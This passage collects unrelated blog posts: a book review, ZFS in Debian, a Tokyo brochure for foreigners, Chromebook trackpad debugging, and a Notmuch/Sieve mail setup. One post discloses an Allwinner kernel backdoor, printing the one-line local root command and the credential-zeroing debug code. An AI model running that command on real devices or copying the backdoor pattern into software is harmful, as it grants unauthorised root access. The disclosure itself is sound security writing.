manic energy from bulldozing into things that legitimately aren't any of his business. Since most of the rest of the series is about Miles poking into things that appear to not be his business and finding ways to fix things, it's an interesting shift. It also cast Cordelia in a new light for me: a combination of stability, self-assurance, and careful and thoughtful navigation around others' feelings. Not a lot happens in the traditional plot sense, so one's enjoyment of this book lives or dies on one's investment in the mundane life of the viewpoint characters. It worked for me. There is also a substantial retcon or reveal about an aspect of Miles's family that hasn't previously been mentioned. (Which term you use depends on whether you think Bujold has had this in mind all along. My money is on reveal.) I suspect some will find this revelation jarring and difficult to believe, but it worked perfectly for me. It felt like exactly the sort of thing that would go unnoticed by the other characters, particularly Miles: something that falls neatly into his blind spots and assumptions, but reads much differently to Cordelia. In general, one of the joys of this book for me is seeing Miles a bit wrong-footed and maneuvered by someone who simply isn't willing to be pushed by him. One of the questions the Vorkosigan series has been asking since the start is whether anyone can out-maneuver Miles. Ekaterin only arguably managed it, but Gentleman Jole makes it clear that Miles is no match for his mother on her home turf. This is a quiet and slow book that doesn't feel much like the rest of the series, but it worked fairly well for me. It's not up in the ranks of my favorite books of this series, partly because the way it played out was largely predictable and I never quite warmed to Jole, but Cordelia is delightful and seeing Miles from an outside perspective is entertaining. An odd entry in the series, but still recommended. Rating: 7 out of 10

Petter Reinholdtsen recently blogged about ZFS availability in Debian. Many people have worked hard on getting ZFS support available in Debian and we would like to thank everyone involved in getting to this point and explain what ZFS in Debian means. The landing of ZFS in the Debian archive was blocked for years due to licensing problems. Finally, the inclusion of ZFS was announced slightly more than a year ago, on April 2015 by the DPL at the time, Lucas Nussbaum who wrote "We received legal advice from Software Freedom Law Center about the inclusion of libdvdcss and ZFS in Debian, which should unblock the situation in both cases and enable us to ship them in Debian soon.". In January this year, the following DPL, Neil McGovern blogged with a lot of more details about the legal situation behind this and summarized it as "TLDR: It s going in contrib, as a source only dkms module." ZFS is not available exactly in Debian, since Debian is only what's included in the "main" section archive. What people really meant here is that ZFS code is now in included in "contrib" and it's available for users using DKMS. Many people also mixed this with Ubuntu now including ZFS. However, Debian and Ubuntu are not doing the same, Ubuntu is shipping directly pre-built kernel modules, something that is considered to be a GPL violation. As the Software Freedom Conservancy wrote "while licensed under an acceptable license for Debian's Free Software Guidelines, also has a default use that can cause licensing problems for downstream Debian users".

at least what Tokyo Shinjuku ward belives. They have put out a very nice brochure about how to behave as a foreigner in Japan: English (local copy) and Japanese (local copy). Nothing in there is really bad, but the tendency is so clear that it makes me think what on earth do you believe we are doing in this country?
foreigners

Now what is so strange on that? And if you have never lived in Japan you will probably not understand. But reading through this pamphlet I felt like a criminal from the first page on. If you don t want to read through it, here a short summary:

The first four pages (1-4) deal with manner, accompanying penal warnings for misbehavior.
Pages 5-16 deal with criminal records, stating the amount of imprisonment and fines for strange delicti.
Pages 17-19 deal with residence card, again paired with criminal activity listings and fines.
Pages 20-23 deal with reporting obligations, again .
And finally page 24 gives you phone numbers for accidents, fires, injury, and general information.

So if you count up, we have 23 pages of warnings, and 1 (as in *one*) page of practical information. Do I need to add more about how we foreigners are considered in Japan? Just a few points about details:

In the part on manner, not talking on the phone in public transport is mentioned I have to say, after many years here I am still waiting to see the first foreigner talking on the phone loudly, while Japanese regularly chat away at high volume.
Again in the manner section, don t make noise in your flat well, I lived 3 years in an apartment where the one below me enjoyed playing loud music in the car till late in the night, as well as moving furniture at 3am.
Bicycle riding ohhhh, bicycle riding those 80+ people meandering around the street, and the school kids driving 4 next to each other. But hey, we foreigners are required to do differently. Not that any police officer ever stopped a Japanese school kid for that
I just realized that I was doing illegal things for long time withdrawing money using someone else s cash card! Damned, it was my wife s, but still, too bad

I accept the good intention of the Shinjuku ward to bring forth a bit of warnings and guidance. But the way it was done it speaks volumes about how we foreigners are treated second class.

Three years ago, I wanted to get a new laptop. I wanted something that could run free software, preferably without blobs, with some good amount of RAM, good battery and very light, something I could carry along with a work laptop. And I didn't want to spend too much. I don't want to make this too long, so in the end, I asked in the store anything that didn't come with Windows installed, and before I was dragged into the Macbook section, I shouted "and no Apple!". That's how I got into the Chromebook section with two options before me. There was the Chromebook Pixel, too expensive for me, and the Samsung Chromebook, using ARM. Getting a laptop with an ARM processor was interesting for me, because I like playing with different stuff. I looked up if it would be possible to run something other than ChromeOS on it, got the sense that is, it would, and make a call. It does not have too much RAM, but it was cheap. I got an external HD to compensate for the lack of storage (only 16GB eMMC), and that was it. Wifi does require non-free firmware to be loaded, but booting was a nice surprise. It is not perfect, but I will see if I can get to that another day. I managed to get Fedora installed, downloading chunks of an image that I could write into the storage. After a while, I backed up home, and installed Debian using debootstrap. Recently, after an upgrade from wheezy to jessie, things stopped working. systemd would not mount the most basic partitions and would simply stop very early in the boot process. That's a story on my backlog as well, that I plan to tell soon, since I believe this connects with supporting Debian on mobile devices. After fixing some things, I decided to try libinput instead of synaptics for the Trackpad. The Chromebook uses a Cypress APA Trackpad. The driver was upstreamed in Linux 3.9. The Chrome OS ships with Linux 3.4, but had the driver in its branch. After changing to libinput, I realized clicking did not work. Neither did tapping. I moved back to synaptics, and was reminded things didn't work too well with that either. I always had to enable tapping. I have some experience with input devices. I wrote drivers, small applications reacting to some events, and some uinput userspace drivers as well. I like playing with that subsystem a lot. But I don't have too much experience with multitouch and libinput is kind of new for me too. I got my hands on the code and found out there is libinput-debug-events. It will show you how libinput translates evdev events. I clicked on the Trackpad and got nothing but some pointer movements. I tried evtest and there were some multitouch events I didn't understand too well, but it looked like there were important events there that I thought libinput should have recognized. I tried reading some of libinput code, but didn't get too far before I tried something else. But then, I had to let this exercise for another day. Today, I decided to do it again. Now, with some fresh eyes, I looked at the driver code. It showed support for left, right and middle buttons. But maybe my device doesn't support it, because I don't remember seeing it on evtest when clicking the Trackpad. I also understood better the other multitouch events, they were just saying how many fingers there were and what was the position of which one of them. In the case of a single finger, you still get an identifier. For better understanding of all this, reading Documentation/input/event-codes.txt and Documentation/input/multi-touch-protocol.txt is recommended. So, in trying to answer if libinput needs to handle my devices events properly, or handle my device specially, or if the driver requires changes, or what else I can do to have a better experience with this Trackpad, things were tending to the driver and device. Then, after running evtest, I noticed a BTN_LEFT event. OK, so the device and driver support it, what is libinput doing with that? Running evtest and libinput-debug-events at the same time, I found out the problem. libinput was handling BTN_LEFT correctly, but the driver was not reporting it all the time. By going through the driver, it looks like this is either a firmware or a hardware problem. When you get the click response, sound and everything, the drivers will not always report it. It could be pressure, eletrical contact, I can't tell for sure. But the driver does not check for anything but what the firmware has reported, so it's not the driver. A very interesting I found out is that you can read and write the firmware. I dumped it to a file, but still could not analyze what it is. There are some commands to put the driver into some bootloader state, so maybe it's possible to play with the firmware without bricking the device, though I am not sure yet. Even then, the problem might not be fixable by just changing the firmware. So, I left with the possibility of using tapping, which was not working with libinput. Grepping at the code, I found out by libinput documentation that tapping needs to be enabled. The libinput xorg driver supports that. Just set the Tapping option to true and that's it. So, now I am a happy libinput user, with some of the same issues I had before with synaptics, but something you get used to. And I have a new firmware in front of me that maybe we could tackle by some reverse engineering.

In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed. Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux. In the meanwhile, I started teaching on the Embedded Linux diploma course in Facultad de Ingenier a, UNAM. It has been quite successful And fun. Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony. As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:

Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
Building a barebones system using the great Buildroot set of scripts and hacks
Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)

Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work! Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it. So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right? Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel. This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:

Debian GNU/Linux 8 bananapi ttyS0
 
banana login: gwolf
Password:
 
Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
 
gwolf@banana:~$ id
uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
gwolf@banana:~$ id
groups=0(root),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),1001(gwolf)

Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):

        if(!strncmp("rootmydevice",(char*)buf,12)) 
		cred = (struct cred *)__task_cred(current);
		cred->uid = 0;
		cred->gid = 0;
		cred->suid = 0;
		cred->euid = 0;
		cred->euid = 0;
		cred->egid = 0;
		cred->fsuid = 0;
		cred->fsgid = 0;
		printk("now you are root\n");

Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work. Anyway, enough said by me. Some other sources of information:

The Register: This is what a root debug backdoor in a Linux kernel looks like
How to root any Allwinner device running Android and most of the Chinese Pi clones which bet on Allwinner Android Linux Kernel, with some interesting comments regarding the extent of this bug's impact in different chips from the same family
Commit fixing it on the SinoVoip repository Of course, the fun part will be delivering it to users. If affected machines are effectively running as embedded systems of any sort... good luck with it! :-P

There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)

I've been using Notmuch since about 2011, switching away from Mutt to deal with the monstrous amount of emails I was, and still am dealing with on the computer. I have contributed a few patches and configs on the Notmuch mailing list, but basically, I have given up on merging patches, and instead have a custom config in Emacs that extend it the way I want. In the last 5 years, Notmuch has progressed significantly, so I haven't found the need to patch it or make sweeping changes.

The huge INBOX of death The one thing that is problematic with my use of Notmuch is that I end up with a ridiculously large INBOX folder. Before the cleanup I did this morning, I had over 10k emails in there, out of about 200k emails overall. Since I mostly work from my laptop these days, the Notmuch tags are only on the laptop, and not propagated to the server. This makes accessing the mail spool directly, from webmail or simply through a local client (say Mutt) on the server, really inconvenient, because it has to load a very large spool of mail, which is very slow in Mutt. Even worse, a bunch of mail that was archived in Notmuch shows up in the spool because it's just removed tags in Notmuch: the mails are still in the inbox, even though they are marked as read. So I was hoping that Notmuch would help me deal with the giant inbox of death problem, but in fact, when I don't use Notmuch, it actually makes the problem worse. Today, I did a bunch of improvements to my setup to fix that. The first thing I did was to kill procmail, which I was surprised to discover has been dead for over a decade. I switched over to Sieve for filtering, having already switched to Dovecot a while back on the server. I tried to use the procmail2sieve.pl conversion tool but it didn't work very well, so I basically rewrote the whole file. Since I was mostly using Notmuch for filtering, there wasn't much left to convert.

Sieve filtering But this is where things got interesting: Sieve is so simpler to use and more intuitive that I started doing more interesting stuff in bridging the filtering system (Sieve) with the tagging system (Notmuch). Basically, I use Sieve to split large chunks of emails off my main inbox, to try to remove as much spam, bulk email, notifications and mailing lists as possible from the larger flow of emails. Then Notmuch comes in and does some fine-tuning, assigning tags to specific mailing lists or topics, and being generally the awesome search engine that I use on a daily basis.

Dovecot and Postfix configs For all of this to work, I had to tweak my mail servers to talk sieve. First, I enabled sieve in Dovecot:

--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -44,5 +44,5 @@
 protocol lda  
   # Space separated list of plugins to load (default is global mail_plugins).
-  #mail_plugins = $mail_plugins
+  mail_plugins = $mail_plugins sieve

Then I had to switch from procmail to dovecot for local delivery, that was easy, in Postfix's perennial main.cf:

#mailbox_command = /usr/bin/procmail -a "$EXTENSION"
mailbox_command = /usr/lib/dovecot/dovecot-lda -a "$RECIPIENT"

Note that dovecot takes the full recipient as an argument, not just the extension. That's normal. It's clever, it knows that kind of stuff. One last tweak I did was to enable automatic mailbox creation and subscription, so that the automatic extension filtering (below) can create mailboxes on the fly:

--- a/dovecot/conf.d/15-lda.conf
+++ b/dovecot/conf.d/15-lda.conf
@@ -37,10 +37,10 @@
 #lda_original_recipient_header =
 # Should saving a mail to a nonexistent mailbox automatically create it?
-#lda_mailbox_autocreate = no
+lda_mailbox_autocreate = yes
 # Should automatically created mailboxes be also automatically subscribed?
-#lda_mailbox_autosubscribe = no
+lda_mailbox_autosubscribe = yes
 protocol lda  
   # Space separated list of plugins to load (default is global mail_plugins).

Sieve rules Then I had to create a Sieve ruleset. That thing lives in ~/.dovecot.sieve, since I'm running Dovecot. Your provider may accept an arbitrary ruleset like this, or you may need to go through a web interface, or who knows. I'm assuming you're running Dovecot and have a shell from now on. The first part of the file is simply to enable a bunch of extensions, as needed:

# Sieve Filters
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples
# https://tools.ietf.org/html/rfc5228
require "fileinto";
require "envelope";
require "variables";
require "subaddress";
require "regex";
require "vacation";
require "vnd.dovecot.debug";

Some of those are not used yet, for example I haven't tested the vacation module yet, but I have good hopes that I can use it as a way to announce a special "urgent" mailbox while I'm traveling. The rationale is to have a distinct mailbox for urgent messages that is announced in the autoreply, that hopefully won't be parsable by bots.

Spam filtering Then I filter spam using this fairly standard expression:

########################################################################
# spam 
# possible improvement, server-side:
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Filtering_using_the_spamtest_and_virustest_extensions
if header :contains "X-Spam-Flag" "YES"  
  fileinto "junk";
  stop;
  elsif header :contains "X-Spam-Level" "***"  
  fileinto "greyspam";
  stop;

This puts stuff into the junk or greyspam folder, based on the severity. I am very aggressive with spam: stuff often ends up in the greyspam folder, which I need to check from time to time, but it beats having too much spam in my inbox.

Mailing lists Mailing lists are generally put into a lists folder, with some mailing lists getting their own folder:

########################################################################
# lists
# converted from procmail
if header :contains "subject" "FreshPorts"  
    fileinto "freshports";
  elsif header :contains "List-Id" "alternc.org"  
    fileinto "alternc";
  elsif header :contains "List-Id" "koumbit.org"  
    fileinto "koumbit";
  elsif header :contains ["to", "cc"] ["lists.debian.org",
                                       "anarcat@debian.org"]  
    fileinto "debian";
# Debian BTS
  elsif exists "X-Debian-PR-Message"  
    fileinto "debian";
# default lists fallback
  elsif exists "List-Id"  
    fileinto "lists";

The idea here is that I can safely subscribe to lists without polluting my mailbox by default. Further processing is done in Notmuch.

Extension matching I also use the magic +extension tag on emails. If you send email to, say, foo+extension@example.com then the emails end up in the foo folder. This is done with the help of the following recipe:

########################################################################
# wildcard +extension
# http://wiki.dovecot.org/Pigeonhole/Sieve/Examples#Plus_Addressed_mail_filtering
if envelope :matches :detail "to" "*"  
  # Save name in $ name  in all lowercase except for the first letter.
  # Joe, joe, jOe thus all become 'Joe'.
  set :lower "name" "$ 1 ";
  fileinto "$ name ";
  #debug_log "filed into mailbox $ name  because of extension";
  stop;

This is actually very effective: any time I register to a service, I try as much as possible to add a +extension that describe the service. Of course, spammers and marketers (it's the same really) are free to drop the extension and I suspect a lot of them do, but it helps with honest providers and this actually sorts a lot of stuff out of my inbox into topically-defined folders. It is also a security issue: someone could flood my filesystem with tons of mail folders, which would cripple the IMAP server and eat all the inodes, 4 times faster than just sending emails. But I guess I'll cross that bridge when I get there: anyone can flood my address and I have other mechanisms to deal with this. The trick is to then assign tags to all folders so that they appear in the Notmuch-emacs welcome view:

echo tagging folders
for folder in $(ls -ad $HOME/Maildir/$ PREFIX */   egrep -v "Maildir/$ PREFIX (feeds.* Sent.* INBOX/ INBOX/Sent)\$"); do
    tag=$(echo $folder   sed 's#/$##;s#^.*/##')
    notmuch tag +$tag -inbox tag:inbox and not tag:$tag and folder:$ PREFIX $tag
done

This is part of my notmuch-tag script that includes a lot more fine-tuned filtering, detailed below.

Automated reports filtering Another thing I get a lot of is machine-generated "spam". Well, it's not commercial spam, but it's a bunch of Nagios, cron jobs, and god knows what software thinks it's important to send me emails every day. I get a lot less of those these days since I'm off work at Koumbit, but still, those can be useful for others as well:

if anyof (exists "X-Cron-Env",
          header :contains ["subject"] ["security run output",
                                        "monthly run output",
                                        "daily run output",
                                        "weekly run output",
                                        "Debian Package Updates",
                                        "Debian package update",
                                        "daily mail stats",
                                        "Anacron job",
                                        "nagios",
                                        "changes report",
                                        "run output",
                                        "[Systraq]",
                                        "Undelivered mail",
                                        "Postfix SMTP server: errors from",
                                        "backupninja",
                                        "DenyHosts report",
                                        "Debian security status",
                                        "apt-listchanges"
                                        ],
           header :contains "Auto-Submitted" "auto-generated",
           envelope :contains "from" ["nagios@",
                                      "logcheck@"])
     
    fileinto "rapports";
 
# imported from procmail
elsif header :comparator "i;octet" :contains "Subject" "Cron"  
  if header :regex :comparator "i;octet"  "From" ".*root@"  
        fileinto "rapports";
   
 
elsif header :comparator "i;octet" :contains "To" "root@"  
  if header :regex :comparator "i;octet"  "Subject" "\\*\\*\\* SECURITY"  
        fileinto "rapports";
   
 
elsif header :contains "Precedence" "bulk"  
    fileinto "bulk";

Refiltering emails Of course, after all this I still had thousands of emails in my inbox, because the sieve filters apply only on new emails. The beauty of Sieve support in Dovecot is that there is a neat sieve-filter command that can reprocess an existing mailbox. That was a lifesaver. To run a specific sieve filter on a mailbox, I simply run:

sieve-filter .dovecot.sieve INBOX 2>&1   less

Well, this doesn't do anything. To really execute the filters, you need the -e flags, and to write to the INBOX for real, you need the -w flag as well, so the real run looks something more like this:

sieve-filter -e -W -v .dovecot.sieve INBOX > refilter.log 2>&1

The funky output redirects are necessary because this outputs a lot of crap. Also note that, unfortunately, the fake run output differs from the real run and is actually more verbose, which makes it really less useful than it could be.

Archival I also usually archive my mails every year, rotating my mailbox into an Archive.YYYY directory. For example, now all mails from 2015 are archived in a Archive.2015 directory. I used to do this with Mutt tagging and it was a little slow and error-prone. Now, i simply have this Sieve script:

require ["variables","date","fileinto","mailbox", "relational"];
# Extract date info
if currentdate :matches "year" "*"   set "year" "$ 1 ";  
if date :value "lt" :originalzone "date" "year" "$ year "  
  if date :matches "received" "year" "*"  
    # Archive Dovecot mailing list items by year and month.
    # Create folder when it does not exist.
    fileinto :create "Archive.$ 1 ";

I went from 15613 to 1040 emails in my real inbox with this process (including refiltering with the default filters as well).

Notmuch configuration My Notmuch configuration is a in three parts: I have small settings in ~/.notmuch-config. The gist of it is:

[new]
tags=unread;inbox;
ignore=
#[maildir]
# synchronize_flags=true
# tentative patch that was refused upstream
# http://mid.gmane.org/1310874973-28437-1-git-send-email-anarcat@koumbit.org
#reckless_trash=true
[search]
exclude_tags=deleted;spam;

I omitted the fairly trivial [user] section for privacy reasons and [database] for declutter. Then I have a notmuch-tag script symlinked into ~/Maildir/.notmuch/hooks/post-new. It does way too much stuff to describe in details here, but here are a few snippets:

if hostname   grep angela > /dev/null; then
    PREFIX=Anarcat/
else
    PREFIX=.
fi

This sets a variable that makes the script work on my laptop (angela), where mailboxes are in Maildir/Anarcat/foo or the server, where mailboxes are in Maildir/.foo. I also have special rules to tag my RSS feeds, which are generated by feed2imap, which is documented shortly below:

echo tagging feeds
( cd $HOME/Maildir/ && for feed in $ PREFIX feeds.*; do
    name=$(echo $feed   sed "s#$ PREFIX feeds\\.##")
    notmuch tag +feeds +$name -inbox folder:$feed and not tag:feeds
done )

Another example that would be useful is how to tag mailing lists, for example, this removes the inbox tag and adds the notmuch tags to emails from the notmuch mailing list.

notmuch tag +lists +notmuch      -inbox tag:inbox and "to:notmuch@notmuchmail.org"

Finally, I have a bunch of special keybindings in ~/.emacs.d/notmuch-config.el:

;; autocompletion
(eval-after-load "notmuch-address"
  '(progn
     (notmuch-address-message-insinuate)))
; use fortune for signature, config is in custom
(add-hook 'message-setup-hook 'fortune-to-signature)
; don't remember what that is
(add-hook 'notmuch-show-hook 'visual-line-mode)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; keymappings
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(define-key notmuch-show-mode-map "S"
  (lambda ()
    "mark message as spam and advance"
    (interactive)
    (notmuch-show-tag '("+spam" "-unread"))
    (notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "S"
  (lambda (&optional beg end)
    "mark message as spam and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "+spam" "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "H"
  (lambda ()
    "mark message as spam and advance"
    (interactive)
    (notmuch-show-tag '("-spam"))
    (notmuch-show-next-open-message-or-pop)))
(define-key notmuch-search-mode-map "H"
  (lambda (&optional beg end)
    "mark message as spam and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-spam") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "l" 
  (lambda (&optional beg end)
    "undelete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "u"
  (lambda (&optional beg end)
    "undelete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "-deleted") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-search-mode-map "d"
  (lambda (&optional beg end)
    "delete and advance"
    (interactive (notmuch-search-interactive-region))
    (notmuch-search-tag (list "+deleted" "-unread") beg end)
    (anarcat/notmuch-search-next-message)))
(define-key notmuch-show-mode-map "d"
  (lambda ()
    "delete current message and advance"
    (interactive)
    (notmuch-show-tag '("+deleted" "-unread"))
    (notmuch-show-next-open-message-or-pop)))
;; https://notmuchmail.org/emacstips/#index17h2
(define-key notmuch-show-mode-map "b"
  (lambda (&optional address)
    "Bounce the current message."
    (interactive "sBounce To: ")
    (notmuch-show-view-raw-message)
    (message-resend address)
    (kill-buffer)))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; my custom notmuch functions
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defun anarcat/notmuch-search-next-thread ()
  "Skip to next message from region or point
This is necessary because notmuch-search-next-thread just starts
from point, whereas it seems to me more logical to start from the
end of the region."
  ;; move line before the end of region if there is one
  (unless (= beg end)
    (goto-char (- end 1)))
  (notmuch-search-next-thread))
;; Linking to notmuch messages from org-mode
;; https://notmuchmail.org/emacstips/#index23h2
(require 'org-notmuch nil t)
(message "anarcat's custom notmuch config loaded")

This is way too long: in my opinion, a bunch of that stuff should be factored in upstream, but some features have been hard to get in. For example, Notmuch is really hesitant in marking emails as deleted. The community is also very strict about having unit tests for everything, which makes writing new patches a significant challenge for a newcomer, which will often need to be familiar with both Elisp and C. So for now I just have those configs that I carry around. Emails marked as deleted or spam are processed with the following script named notmuch-purge which I symlink to ~/Maildir/.notmuch/hooks/pre-new:

#!/bin/sh
if hostname   grep angela > /dev/null; then
    PREFIX=Anarcat/
else
    PREFIX=.
fi
echo moving tagged spam to the junk folder
notmuch search --output=files tag:spam \
        and not folder:$ PREFIX junk \
        and not folder:$ PREFIX greyspam \
        and not folder:Koumbit/INBOX \
        and not path:Koumbit/** \
      while read file; do
          mv "$file" "$HOME/Maildir/$ PREFIX junk/cur"
      done
echo unconditionnally deleting deleted mails
notmuch search --output=files tag:deleted   xargs -r rm

Oh, and there's also customization for Notmuch:

;; -*- mode: emacs-lisp; auto-recompile: t; -*-
(custom-set-variables
 ;; from https://anarc.at/sigs.fortune
 '(fortune-file "/home/anarcat/.mutt/sigs.fortune")
 '(message-send-hook (quote (notmuch-message-mark-replied)))
 '(notmuch-address-command "notmuch-address")
 '(notmuch-always-prompt-for-sender t)
 '(notmuch-crypto-process-mime t)
 '(notmuch-fcc-dirs
   (quote
    ((".*@koumbit.org" . "Koumbit/INBOX.Sent")
     (".*" . "Anarcat/Sent"))))
 '(notmuch-hello-tag-list-make-query "tag:unread")
 '(notmuch-message-headers (quote ("Subject" "To" "Cc" "Bcc" "Date" "Reply-To")))
 '(notmuch-saved-searches
   (quote
    ((:name "inbox" :query "tag:inbox and not tag:koumbit and not tag:rt")
     (:name "unread inbox" :query "tag:inbox and tag:unread")
     (:name "unread" :query "tag:unred")
     (:name "freshports" :query "tag:freshports and tag:unread")
     (:name "rapports" :query "tag:rapports and tag:unread")
     (:name "sent" :query "tag:sent")
     (:name "drafts" :query "tag:draft"))))
 '(notmuch-search-line-faces
   (quote
    (("deleted" :foreground "red")
     ("unread" :weight bold)
     ("flagged" :foreground "blue"))))/
 '(notmuch-search-oldest-first nil)
 '(notmuch-show-all-multipart/alternative-parts nil)
 '(notmuch-show-all-tags-list t)
 '(notmuch-show-insert-text/plain-hook
   (quote
    (notmuch-wash-convert-inline-patch-to-part notmuch-wash-tidy-citations notmuch-wash-elide-blank-lines notmuch-wash-excerpt-citations)))
 )

I think that covers it.

Offlineimap So of course the above works well on the server directly, but how do run Notmuch on a remote machine that doesn't have access to the mail spool directly? This is where OfflineIMAP comes in. It allows me to incrementally synchronize a local Maildir folder hierarchy with a a remote IMAP server. I am assuming you already have an IMAP server configured, since you already configured Sieve above. Note that other synchronization tools exist. The other popular one is isync but I had trouble migrating to it (see courriels for details) so for now I am sticking with OfflineIMAP. The configuration is fairly simple:

[general]
accounts = Anarcat
ui = Blinkenlights
maxsyncaccounts = 3
[Account Anarcat]
localrepository = LocalAnarcat
remoterepository = RemoteAnarcat
# refresh all mailboxes every 10 minutes
autorefresh = 10
# run notmuch after refresh
postsynchook = notmuch new
# sync only mailboxes that changed
quick = -1
## possible optimisation: ignore mails older than a year
#maxage = 365
# local mailbox location
[Repository LocalAnarcat]
type = Maildir
localfolders = ~/Maildir/Anarcat/
# remote IMAP server
[Repository RemoteAnarcat]
type = IMAP
remoteuser = anarcat
remotehost = anarc.at
ssl = yes
# without this, the cert is not verified (!)
sslcacertfile = /etc/ssl/certs/DST_Root_CA_X3.pem
# do not sync archives
folderfilter = lambda foldername: not re.search('(Sent\.20[01][0-9]\..*)', foldername) and not re.search('(Archive.*)', foldername)
# and only subscribed folders
subscribedonly = yes
# don't reconnect all the time
holdconnectionopen = yes
# get mails from INBOX immediately, doesn't trigger postsynchook
idlefolders = ['INBOX']

Critical parts are:

postsynchook: obviously, we want to run notmuch after fetching mail
idlefolders: receives emails immediately without waiting for the longer autorefresh delay, which means that most mailboxes don't see new emails until 10 minutes in the worst case. unfortunately, doesn't run the postsynchook so I need to hit G in Emacs to see new mail
quick=-1, subscribedonly, holdconnectionopen: makes most runs much, much faster as it skips unchanged or unsubscribed folders and keeps the connection to the server

The other settings should be self-explanatory.

RSS feeds I gave up on RSS readers, or more precisely, I merged RSS feeds and email. The first time I heard of this, it sounded like a horrible idea, because it means yet more emails! But with proper filtering, it's actually a really nice way to process emails, since it leverages the distributed nature of email. For this I use a fairly standard feed2imap, although I do not deliver to an IMAP server, but straight to a local Maildir. The configuration looks like this:

---
include-images: true
target-refix: &target "maildir:///home/anarcat/Maildir/.feeds."
feeds:
- name: Planet Debian
  url: http://planet.debian.org/rss20.xml
  target: [ *target, 'debian-planet' ]

I have obviously more feeds, the above is just and example. This will deliver the feeds as emails in one mailbox per feed, in ~/Maildir/.feeds.debian-planet, in the above example.

Troubleshooting You will fail at writing the sieve filters correctly, and mail will (hopefully?) fall through to your regular mailbox. Syslog will tell you things fail, as expected, and details are in your .dovecot.sieve.log file in your home directory. I also enabled debugging on the Sieve module

--- a/dovecot/conf.d/90-sieve.conf
+++ b/dovecot/conf.d/90-sieve.conf
@@ -51,6 +51,7 @@ plugin  
        # deprecated imapflags extension in addition to all extensions were already
   # enabled by default.
   #sieve_extensions = +notify +imapflags
+  sieve_extensions = +vnd.dovecot.debug
   # Which Sieve language extensions are ONLY available in global scripts. This
   # can be used to restrict the use of certain Sieve extensions to administrator

This allowed me to use debug_log function in the rulesets to output stuff directly to the logfile.

